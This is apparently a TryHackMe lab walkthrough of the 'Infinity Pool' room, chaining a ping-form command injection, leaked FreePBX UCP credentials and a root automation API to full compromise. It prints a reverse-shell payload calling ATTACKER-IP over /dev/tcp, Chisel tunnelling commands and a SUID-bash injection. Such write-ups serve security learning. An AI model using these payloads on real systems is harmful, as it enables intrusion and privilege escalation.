Sitemap

Hacker Holidays 2026 — Day 11| Infinity Pool | Tryhackme Walkthrough

5 min readAug 13, 2026

--

Press enter or click to view image in full size

This write-up covers the complete attack path through the Infinity Pool room, starting with external reconnaissance and ending with root access. Along the way, we’ll look at the initial command injection, internal service discovery, the FreePBX UCP pivot, the automation-key leak, and the final privilege escalation.

Warning: This walkthrough contains spoilers.
If you’re working through the room yourself, consider coming back here only after you’ve completed it or reached a dead end.

TL;DR

The attack starts with the hidden /status staff functionality, which ultimately reaches the vulnerable /internal/netcheck endpoint. Because the application passes the supplied host directly into a shell command, command injection provides access as the web user.

From there, internal services bound to localhost are enumerated. The Watchtower service exposes configuration information containing FreePBX UCP credentials and the location of the internal automation service.

Using the leaked credentials, the FreePBX UCP dashboard can be accessed. A voicemail entry contains an Automation Key, which provides access to the root-running automation API.

Finally, the /jobs/export endpoint is vulnerable to command injection. Since the service executes as root, exploiting this endpoint leads directly to root access and the final flag.

1. Reconnaissance

The initial enumeration focused on identifying externally accessible services and investigating the web application.

Nmap Scan

I started with a full TCP port scan and service detection:

nmap -p- -sV -oN nmap.txt TARGET-IP

The important results were:

22/tcp   OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp gunicorn (Flask app — "Byte Lotus — Stay Noticed")

Only SSH and HTTP were exposed externally. There were no directly accessible database or administrative services, making the web application the obvious place to focus.

2. Web Enumeration

Rather than immediately launching a directory brute-force, I first inspected the site’s source and JavaScript files.

Inside /static/app.js, a developer comment revealed an interesting endpoint:

// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.

Checking robots.txt confirmed:

Disallow: /internal/
Disallow: /status

Visiting /status revealed a staff connectivity form that accepted a host and returned the result of a ping operation.

Tip: Always inspect JavaScript, comments, and robots.txt before blindly brute-forcing directories. In this case, they practically handed us the next endpoint.

3. Initial Exploitation

Command Injection

The /status functionality sends the supplied host parameter to:

/internal/netcheck

Reviewing the application source showed the vulnerable code:

subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
text=True,
timeout=15
)

The problem is the combination of user input, string interpolation, and shell=True.

To verify command execution, I supplied:

127.0.0.1; id

The response included:

uid=1001(web) gid=1001(web) groups=1001(web)

Command execution was confirmed, and the process was running as the web user.

4. Getting a Shell

Because the application uses /bin/sh, the Bash redirection syntax needs to be explicitly executed through Bash.

Listener:

nc -lvnp 4444

Payload:

127.0.0.1; /usr/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1'

Once the connection arrived, I upgraded the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

At this point we have a shell as:

web

The user flag can then be retrieved from:

/home/web/user.txt

5. Internal Enumeration

With access as web, the next step was to determine what services were available internally.

The application directory contained several separate components:

/var/www/infinity_pool/
├── edge
├── watchtower
└── automation

Their roles were:

  • edge — public-facing Flask application
  • watchtower — internal monitoring application
  • automation — root-owned automation servic

Checking listening services revealed several localhost-only ports:

3000
8080
9000
3306

The most interesting services were:

127.0.0.1:3000
127.0.0.1:8080
127.0.0.1:9000

Watchtower

The service on port 3000 was identified as the Watchtower operations console.

It was accessible locally:

curl -s http://127.0.0.1:3000/

The application also exposed:

/api/health
/api/config

The configuration endpoint was particularly interesting:

curl -s http://127.0.0.1:3000/api/config

It returned information similar to:

{
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}

This exposed both the internal UCP credentials and the automation service location.

FreePBX UCP

The leaked credentials did not work against the FreePBX administrator interface. They were intended for UCP.

Get Piyush Manghnani’s stories in your inbox

Join Medium for free to get updates from this writer.

Searching the installed files helped confirm the account:

grep -RIn "FreePBXUCPTemplateCreator" /var/www/html

The UCP installation was also affected by the default template credentials described by CVE-2026–46376.

Because the UCP login uses JavaScript/AJAX, I used Chisel to expose the internal service locally.

On Kali:

./chisel server -p 9999 --reverse

On the target:

./chisel client ATTACKER-IP:9999 R:8080:127.0.0.1:8080 R:9000:127.0.0.1:9000

Once the tunnel was established, the UCP portal was available at:

http://127.0.0.1:8080/ucp/

The leaked credentials successfully authenticated.

After logging in, the UCP dashboard was available.

Press enter or click to view image in full size

Automation Key

The next clue came from the UCP dashboard.

I added the Voicemail widget.

[Screenshot — Adding the Voicemail widget]

One of the voicemail entries contained:

Automation Key cc_auto_7b3f9a1c4e0d2f6a

This was the bearer token required by the automation service.

Press enter or click to view image in full size

6. Privilege Escalation

The automation service was running as root and exposed a jobs API.

The relevant endpoint was:

POST /jobs/export

It required the Automation Key in an Authorization header.

Testing the token:

curl -s -X POST http://127.0.0.1:9000/jobs/export   -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a"   -H "Content-Type: application/json"   -d '{"report":"test"}'

The response revealed the command being executed:

tar czf /var/automation/exports/test.tgz /var/automation/data

The supplied report value was being incorporated into a shell command, giving us another command-injection point.

SUID Bash

Since the automation service runs as root, the injection can be used to modify /bin/bash:

curl -s -X POST http://127.0.0.1:9000/jobs/export   -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a"   -H "Content-Type: application/json"   -d '{"report":"x.tgz /var/automation/data; chmod +s /bin/bash #"}'

Then:

/bin/bash -p
whoami
root

The privilege escalation is complete.

Flags

The user flag was obtained from:

/home/web/user.txt

After gaining root access:

cat /root/root.txt
THM{tr4c3d_t0_th3_h0r1z0n}

Dead Ends

SSH

Port 22 was exposed, but there was no useful SSH authentication path during the initial enumeration.

FreePBX Admin

The leaked credentials did not work against:

/admin/config.php

They were intended for the UCP interface.

Direct Internal Services

Ports 3000, 8080, and 9000 were bound to 127.0.0.1, so they were not directly reachable from Kali.

Chisel solved this by forwarding the loopback services.

Lessons Learned

This room demonstrates how several small weaknesses can combine into a complete compromise:

  • Source-code comments can reveal hidden functionality.
  • robots.txt can expose interesting endpoints.
  • User input should never be passed directly into shell=True.
  • Localhost-only services are still important after gaining a shell.
  • Configuration endpoints should not leak credentials or internal topology.
  • Default credentials can expose otherwise protected applications.
  • Sensitive credentials can leak through unexpected places such as voicemail metadata.
  • Root services should never construct shell commands from untrusted input.
  • Command injection in a root process can result in complete system compromise.

The overall attack chain:

Hidden Endpoint
↓
Command Injection
↓
web Shell
↓
Internal Enumeration
↓
Watchtower /api/config
↓
UCP Credentials
↓
FreePBX UCP
↓
Voicemail
↓
Automation Key
↓
Root Automation API
↓
Command Injection
↓
Root

--

--

Piyush Manghnani
Piyush Manghnani

Cybersecurity student sharing TryHackMe walkthroughs, CTF write-ups, ethical hacking tips, and practical security insights while documenting my learning journey